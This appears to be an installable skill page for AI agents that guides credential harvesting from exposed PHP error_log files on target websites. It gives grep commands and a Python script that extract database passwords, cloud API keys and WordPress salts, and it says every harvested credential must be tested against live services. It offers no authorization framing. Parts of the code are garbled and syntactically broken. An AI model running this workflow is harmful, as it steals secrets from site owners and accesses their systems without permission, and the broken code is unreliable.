Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Discover and analyze exposed PHP error_log files for server paths, database
errors, SQL fragments, API-key candidates, email addresses, and internal
addresses. Collect a bounded sample and validate the sensitivity of its content
instead of inferring impact from file size or status.
When to Use
Running deep-invade Phase 2 on a high-value target.
skill_view(name='source-leak-hunt') found an error_log file with HTTP 200.
Target has PHP (WordPress, Laravel, custom PHP) with display_errors possibly enabled.
You need server-side context (paths, DB structure) before attempting exploitation.
Prerequisites
terminal with curl, grep, and python3.
Target URL with potential error_log at common paths.
Disk space: error logs can be multi-GB. Use curl -r for range requests on large files.
# Does error log reveal the DB name? Cross-ref with wp-config leak
DB_NAME=$(grep -Eo 'DB_NAME["\x27\s:=]+["\x27][a-zA-Z0-9_]+'$OUTDIR/error_logs/*/intel_summary.md 2>/dev/null)
echo"DB name from logs: $DB_NAME"# Does it reveal internal hostnames?
HOSTNAMES=$(grep -Eo '(?:[a-zA-Z0-9-]+\.(?:internal|local|lan|corp|priv))'$OUTDIR/error_logs/*/*.txt 2>/dev/null | sort -u)
[[ -n "$HOSTNAMES" ]] && echo"Internal hostnames:" && echo"$HOSTNAMES"# Are there file inclusion paths that indicate LFI potential?
LFI_PATHS=$(grep -Eo '(?:include|require|include_once|require_once)\s*\(\s*[\x27"]([^\x27"]+\.php)'$OUTDIR/error_logs/*/*.txt 2>/dev/null | sort -u)
[[ -n "$LFI_PATHS" ]] && echo"Potential LFI paths:" && echo"$LFI_PATHS"
Bounded Log Miner
import re
from collections import Counter
defmine_error_log(txt):
results = {}
# Server paths
results['paths'] = sorted(set(re.findall(r'/home/[^\s:)]+', txt)))[:20]
# Email addresses
results['emails'] = sorted(set(re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', txt)))[:20]
# DB credentials (4 patterns extracted from php error context)
db_creds = set()
for pat in [r"DB_USER[^=]*=[\s'\"]*([^'\";\s]+)",
r"DB_PASSWORD[^=]*=[\s'\"]*([^'\";\s]+)",
r"DB_HOST[^=]*=[\s'\"]*([^'\";\s]+)",
r"DB_NAME[^=]*=[\s'\"]*([^'\";\s]+)"]:
for m in re.findall(pat, txt): db_creds.add(m)
results['db_creds'] = sorted(db_creds)
# API keys (5 pattern classes — all extracted from error context)
api_keys = set()
for pat in [r'sk-[a-zA-Z0-9]{20,60}', # Striper'AIza[0-9A-Za-z_-]{35}', # Googler'AKIA[0-9A-Z]{16}', # AWS IAMr'pk_[a-zA-Z0-9]+', # Publishable keysr'eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}']: # JWTfor m in re.findall(pat, txt): api_keys.add(m)
results['api_keys'] = sorted(api_keys)[:10]
# SQL queries
results['sql_queries'] = re.findall(
r'(?:SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE)[^;]{0,300}',
txt, re.I)[:10]
# WordPress salts (session hijack potential)
results['wp_salts'] = re.findall(
r"(?:AUTH_KEY|SECURE_AUTH_KEY|LOGGED_IN_KEY|NONCE_KEY|AUTH_SALT|SECURE_AUTH_SALT|LOGGED_IN_SALT|NONCE_SALT)[^,;]+",
txt)
# Error type breakdown
results['error_types'] = Counter(re.findall(r'PHP\s+\w+:', txt)).most_common(10)
# Date range
dates = re.findall(r'\[(\d{2}-\w{3}-\d{4})', txt)
if dates:
results['date_range'] = f"{dates[0]} to {dates[-1]} ({len(set(dates))} unique dates)"return results
Pitfalls
Error logs can be very large. Check Content-Length before downloading
and use a bounded range such as curl -r 0-5000000 for an initial sample.
Logs may contain PII. Email addresses, IPs, and usernames in error logs may constitute a data breach. Handle responsibly.
Log rotation may truncate. The visible error_log may only contain recent entries. Check for rotated logs (error_log.1, error_log.old, error_log-YYYYMMDD).
Some hosts return garbage. A 200 on /error_log might be a custom 404 page or SPA catch-all. Always check content for PHP + error type pattern before analyzing.
Old logs ≠ current vulnerability. A 2013 error log doesn't mean the current site is vulnerable. Cross-reference log timeline with the server tech stack.
Verification
Error log MUST contain PHP error patterns ([date] PHP Warning:, Stack trace:, Fatal error:) to be valid.
Every credential extracted MUST be tested for validity (try MySQL connect, API key validation).
Server paths MUST match the known directory structure (e.g., /home/user/public_html/).
Document the error log URL, file size, date range, and key findings for the report.
API keys from error logs are almost always production keys (unlike JS bundle keys which are often restricted).